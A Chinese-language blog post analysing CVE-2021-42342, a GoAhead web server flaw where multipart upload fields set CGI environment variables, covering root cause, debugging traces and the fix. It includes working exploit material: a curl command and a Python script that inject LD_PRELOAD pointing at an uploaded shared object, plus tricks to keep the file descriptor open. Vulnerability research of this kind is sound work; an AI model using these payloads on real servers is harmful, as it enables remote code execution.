Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

CVE-2021-42342 Goahead 环境变量注入漏洞分析

2022-01-10 Updated on 2022-04-02 漏洞分析

Table of Contents

  1. 漏洞分析
    1. 环境搭建
    2. 代码分析
      1. HTTP 请求流程
      2. 根本原因(Root cause)
  2. 漏洞复现
    1. 找不到文件描述符
  3. 补丁分析
  4. 找不到文件描述符 的问题补充
  5. 参考
漏洞背景

近日爆出GoAhead存在RCE漏洞(实际来源于 PBCTF 的一道题目),漏洞源于文件上传过滤器的处理缺陷,当与CGI处理程序一起使用时,可影响环境变量,从而导致RCE。漏洞影响版本为:

  • GoAhead =4.x
  • 5.x<=GoAhead<5.1.5

我为啥看这个漏洞呢?是因为 phith0n 师傅发了一篇复现踩坑记, 我对其中一块 文件描述符找不到的解决过程比较感兴趣。于是和 @leommxj 一起看了下。然后简单记录了下这些过程,比较简略。

漏洞分析

环境搭建

参考 phith0n 的文章: GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)

Dockerfile 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM beswing/swpwn:18.04

RUN set -ex \
&& apt-get update \
&& apt-get install wget make gcc -y \
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
&& cd /usr/src \
&& make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
&& make install \
&& cp src/self.key src/self.crt /etc/goahead/ \
&& mkdir -p /var/www/goahead/cgi-bin/ \
&& apt-get purge -y --auto-remove wget make gcc \
&& cd /var/www/goahead \
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

EXPOSE 80
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

这也是这个漏洞的第一个坑:新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。所以并不像某些文章里说的那样影响广泛。

代码分析

HTTP 请求流程

调用栈如下:

1
2
3
4
5
6
7
8
9
#1  0x00007f44624fc11d in cgiHandler (wp=0x55e66c994790) at src/cgi.c:216
#2 0x00007f446250e44b in websRunRequest (wp=0x55e66c994790) at src/route.c:182
#3 0x00007f446250152c in websPump (wp=0x55e66c994790) at src/http.c:870
#4 0x00007f44625013b9 in readEvent (wp=0x55e66c994790) at src/http.c:834
#5 0x00007f4462501142 in socketEvent (sid=2, mask=2, wptr=0x55e66c994790) at src/http.c:772
#6 0x00007f4462516dbf in socketDoEvent (sp=0x55e66c994650) at src/socket.c:654
#7 0x00007f4462516ce5 in socketProcess () at src/socket.c:628
#8 0x00007f4462502f34 in websServiceEvents (finished=0x55e66aa02014 <finished>) at src/http.c:1385
#9 0x000055e66a8005cf in main (argc=5, argv=0x7fff507b50c8, envp=0x7fff507b50f8) at src/goahead.c:170

整个goahead处理cgi所对应post请求处理流程小结如下:

  1. 调用websRead函数,所有数据保存到了wp->rxbuf中。

  2. 调用

    websPump

    ,该函数包含三部分:

    1. 调用parseIncoming函数解析请求头以及调用websRouteRequest确定相应的处理函数。
    2. 调用processContent将处理post数据,将其保存到tmp文件中。
    3. 调用websRunRequest函数,调用相应的处理函数,cgi对应为cgiHandler。
  3. 调用cgiHandler,将请求头以及get参数设置到环境变量中,调用launchCgi函数。

  4. 调用launchCgi函数,将标准输出输入重定向到文件句柄,调用execve启动cgi进程。

根本原因(Root cause)

  1. strim 函数的错误使用

strim 函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUBLIC char *strim(char *str, cchar *set, int where)
{
char *s;
ssize len, i;

if (str == 0 || set == 0) {
return 0;
}
...
s = (char*) &str[i];
if (where & WEBS_TRIM_END) {
...
}
}
return s;
}

当第二个参数为 0 的时候, 直接返回 0 。然而 goahead 的 cgi.c:176 行代码是这样使用的

image-20220110152602890

那么此处 vp 的 值为 0 , 因此后续的 smatch 判断都毫无意义。 另外我们注意到 182 和 186 行都是设置环境变量, 然而 183 行处会拼接 CGI_ 到字符, 因此不是我们漏洞利用的目标。

1
#define ME_GOAHEAD_CGI_VAR_PREFIX "CGI_"

因此我们需要走到 186 行代码,需要 s->arg 为 0 即可(初始化状态为0)

漏洞复现

需要在Body中发送multipart表单,然后在劫持环境变量。 PoC 如下:

1
curl -vv -F data=@poc.so -F "LD_PRELOAD=/proc/self/fd/7" http://127.0.0.1:8080/cgi-bin/test.cgi\n

找不到文件描述符

在使用如上 Dockerfile 作为环境的漏洞利用过程中,会发现劫持 so 的过程会有如下报错

  • ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
  • ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
  • ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.

经过调试和代码阅读分析了,大致原因如下:

当最后一个包被处理的时候,即进到 upload.c#processContentData 函数中

image-20220109172745897

即 334 行代码处,进入到 get 函数中,此函数逻辑为判断是否读到 upload 数据的结束符号,即 boundary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
───────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
In file: /usr/src/src/upload.c
419 while (cp < endp) {
420 cp = (char *) memchr(cp, first, endp - cp);
421 if (!cp) {
422 return 0;
423 }
► 424 if (memcmp(cp, wp->boundary, wp->boundaryLen) == 0) {
425 return cp;
426 }
427 cp++;
428 }
429 return 0;
───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7ffcd8eca3e0 —▸ 0x7ffcd8eca410 —▸ 0x5590f9adce48 ◂— '--1544f720d6ce5bdc5b81100af0acc3b5--\r\n'
01:0008│ 0x7ffcd8eca3e8 ◂— 0x2f /* '/' */
02:0010│ 0x7ffcd8eca3f0 —▸ 0x5590f9adce3f ◂— 'aaaaaa\n\r\n--1544f720d6ce5bdc5b81100af0acc3b5--\r\n'
03:0018│ 0x7ffcd8eca3f8 —▸ 0x5590f9adb790 —▸ 0x5590f9add5d0 ◂— 0x67632f0054534f00
04:0020│ 0x7ffcd8eca400 —▸ 0x7ffcd8eca410 —▸ 0x5590f9adce48 ◂— '--1544f720d6ce5bdc5b81100af0acc3b5--\r\n'
05:0028│ 0x7ffcd8eca408 ◂— 0x2d005590f9adfd70
06:0030│ 0x7ffcd8eca410 —▸ 0x5590f9adce48 ◂— '--1544f720d6ce5bdc5b81100af0acc3b5--\r\n'
07:0038│ 0x7ffcd8eca418 —▸ 0x5590f9adce4d ◂— '4f720d6ce5bdc5b81100af0acc3b5--\r\n'
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
► f 0 0x7fb0335a7429 getBoundary+206
f 1 0x7fb0335a7003 processContentData+109
f 2 0x7fb0335a66f7 websProcessUploadData+372
f 3 0x7fb03358f7d4 processContent+110
f 4 0x7fb03358e51b websPump+104
f 5 0x7fb03358e3b9 readEvent+352
f 6 0x7fb03358e142 socketEvent+159
f 7 0x7fb0335a3dbf socketDoEvent+197
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p cp
$15 = 0x5590f9adce48 "--1544f720d6ce5bdc5b81100af0acc3b5--\r\n"
pwndbg> p wp->boundary
$16 = 0x5590f9ad5a70 "--1544f720d6ce5bdc5b81100af0acc3b5"
pwndbg>

如果是则返回 cp, 因此,当正常的数据包的时候,此时 334 行的判断不成立,代码会往下走,最后走到 391 代码,close 调临时文件的 fd, 因此包含的时候会报错。

那么怎么解决这个问题呢? phith0n 师傅文章中的解决方案如下:

首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD,值是文件描述符,一般是/proc/self/fd/7。然后我们需要改造这个数据包:

  • 给payload.so文件末尾增加几千个字节的脏字符,比如说a
  • 关掉burpsuite自动的“Update Content-Length”
  • 将数据包的Content-Length设置为不超过16384的值,但需要比payload.so文件的大小要大个500字节左右,我这里设置为15000

构造如下payload:

  1. Content-Length 小于总的 upload data 的大小
  2. Content-Length 至少要大于 payload.so 的大小

那么这个方法是如何生效的呢? 当出发upload 后,到执行 cgi, 程序代码会调用processContent将处理post数据,将其保存到tmp文件中, 其代码如下:

image-20220109192138087

当 wp->oef 为假时, 程序会判断 post 的数据未读完,因此会进到 filterChunkData 函数中, 当程序判断数据已经读完,

image-20220109193908584

即 wp->rxRemainning <=0 后,会设置 wp->eof 的值为 1 。 这表明根据 数据已经接受完毕,然后走到 upload.c:1216 行, 调用 websProcessUploadData 函数

image-20220109191114896

执行到如上图中到 145 行代码处,调用processContentData`函数,

image-20220109194405252

由于我们设置的 Content-Length 小于总的数据包大小,因此我们是读不到 Boundaray ,因此这里 348 代码返回 0 。

image-20220109194525781

canProceed 为零,从148 代码处返回到 http.c:1216 行。

image-20220109194835191

然后从 1218 行处代码返回到 http.c:867 行

image-20220109194953182

接着 for 循环因为 canProceed 为 0 ,因此 break 退出循环。至此到这还没有调到 cgi ,但程序的数据已处理完一部分。 然后程序直接退回到 readEvent, 之后由于我们数据包并没有发送完, 还有一部分到脏数据未处理。代码又会走一遍

1
socketEvent—>readEvent->websPump->processContent

当到 processContent 函数的时候,

image-20220109195548187

1209 行代码不满足, 1239 行代码满足, 因此 wp->state 被设置为 WEBS_READY 。然后再 websPump 代码处执行 websRunrequest, 最后执行 CGI 。

image-20220109195658790

总结

  1. 让程序没有读取到 boundary , 程序会觉得数据没有处理完, 因此不会 close 文件描述符
  2. 让程序认为剩下未读到数据, 不可能读到 boundary 了, 因此会再 http.c:1293 行处设置 wp->eof flag
  3. 保持链接的不中断, 程序会接着尝试读数据

根据以上的分析以及之后的实践, 我们发现除了 phith0n 师傅的这种方法,其实还有其他方法,且不需要竞争

  1. 两次发送数据,第一次发送需要 payload.so 发送且写入临时文件,且通过删除 boundary 让程序handle住,第二次发送劫持环境变量
  2. 一次发送, 只需删除 boundary 标志, 然后 sleep 后, 发送一次数据即可

补丁分析

FIX: flag upload form vars as untrusted so they will be prefixed. · embedthis/goahead@6906212 (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

@@ -320,6 +320,7 @@ static bool processContentData(Webs *wp)
{
WebsUpload *file;
WebsBuf *content;
+ WebsKey *sp;
ssize size, nbytes, len;
char *data, *bp;

@@ -380,7 +381,9 @@ static bool processContentData(Webs *wp)
trace(5, "uploadFilter: form[%s] = %s", wp->uploadVar, data);
websDecodeUrl(wp->uploadVar, wp->uploadVar, -1);
websDecodeUrl(data, data, -1);
- websSetVar(wp, wp->uploadVar, data);
+ sp = websSetVar(wp, wp->uploadVar, data);
+ // Flag as untrusted so CGI will prefix
+ sp->arg = 1;
}
websConsumeInput(wp, nbytes);
}

FIX: trim CGI env vars for black list · embedthis/goahead@5bc7641 (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
@@ -173,10 +173,10 @@ PUBLIC bool cgiHandler(Webs *wp)
if (wp->vars) {
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string) {
- vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
+ vp = strim(s->name.value.string, " \t\r\n", WEBS_TRIM_BOTH);
if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") ||
smatch(vp, "IFS") || smatch(vp, "CDPATH") ||
- smatch(vp, "PATH") || sstarts(vp, "LD_")) {
+ smatch(vp, "PATH") || sstarts(vp, "PYTHONPATH") || sstarts(vp, "LD_")) {
continue;
}
if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {

修正了 strim 函数的正确使用,以及对文件上传处理同样加入了sp->arg = 1的处理

找不到文件描述符 的问题补充

update : 2022/01/17

@nepire 今天和我提了一个解决这个问题的另外一个方法 , 我们简单回顾下代码

image-20220117171150196

我们可以看到我们的临时文件是在 src/upload.c:342 行写入的,但是除了此处以为我们没有其他地方写临时文件了吗?搜索一下 write\(.*fd 写入文件的代码

image-20220117172041121

我们找到另外一处文件描述符, wp->cgifd , 其写入的内容为 wp->input.servp, 那么我们如何保证 wp->input.servp 数据即为 ELF 的数据呢?

根据简单阅读代码, 即在 upload.c 代码中

image-20220117180115037

在 upload 处理数据的过程中, 数据指针由 bufCompact 函数处理:

image-20220117180328157

该函数将此次读取的 数据由 bp->servp 拷贝到 bp->buf中, 然后在移动修改 bp->servp , 当读取到 Boundary结束的时候,bp->servp 刚好指向了 --------------------------6671c05704e869e7-- 的结尾处,因此我们只需在此处后面补充 ELF 数据即可

因此大致 PoC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
headers = """POST /cgi-bin/test.cgi HTTP/1.1\r
Host: localhost:8080\r
Accept: */*\r
Connection: close\r
Content-Type: multipart/form-data; boundary=------------------------f74e4c2f448c9827\r
Content-Length: {}\r
\r
"""
body = b"""--------------------------f74e4c2f448c9827
Content-Disposition: form-data; name="LD_PRELOAD"\r
\r
/dev/stdin\r
--------------------------f74e4c2f448c9827--\r
"""
#/dev/stdin
#/proc/self/fd/0

n = remote(ip,port)
post = body + parse_so('./poc.so')
n.send(headers.format(len(post)).encode('latin') + post)

另外此时劫持的 fd 可以指向 0 或者 6, 因为在 launchCgi 函数中会重新 dup2 相关文件描述符。

image-20220117184055856

参考

CVE-2017-17562 GoAhead远程代码执行漏洞分析 - 先知社区 (aliyun.com)

GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)

分类: 漏洞分析
标签: CVE-2021-42342
← Prev RWCTF-4th TrustZone challenge Writeup
Next → 2021 TCTF iOA and RV Writeup

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom